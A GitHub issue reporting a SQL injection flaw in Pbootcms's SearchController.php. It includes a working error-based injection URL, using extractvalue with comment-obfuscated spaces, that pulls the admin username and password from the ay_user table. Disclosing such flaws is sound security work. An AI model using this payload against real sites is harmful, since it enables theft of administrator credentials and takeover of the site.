New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Pbootcms SQL injection in SearchController.php #3

Open
77Sera opened this Issue Dec 4, 2018 · 0 comments

Comments

Projects
None yet
1 participant
@77Sera

77Sera commented Dec 4, 2018

The default database is sqlite. For testing convenience, we need to replace the default database with the mysql database.
the mysql database directory:
Pbootcms-master\static\backup\sql\20180720164810_pbootcms.sql

SQL injection happened in this page.

payload:
http://127.0.0.1:89/index.php/Search/index.html?keyword=1&if(1>0,(select/**/1/**/and/**/extractvalue(1,concat(0x7e,(SELECT/**/concat(0x23,username,0x3a,password,0x23)/**/FROM/**/ay_user/**/limit/**/0,1),0x7e))),'3'));%23=1

and we can get the admin account name and password

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment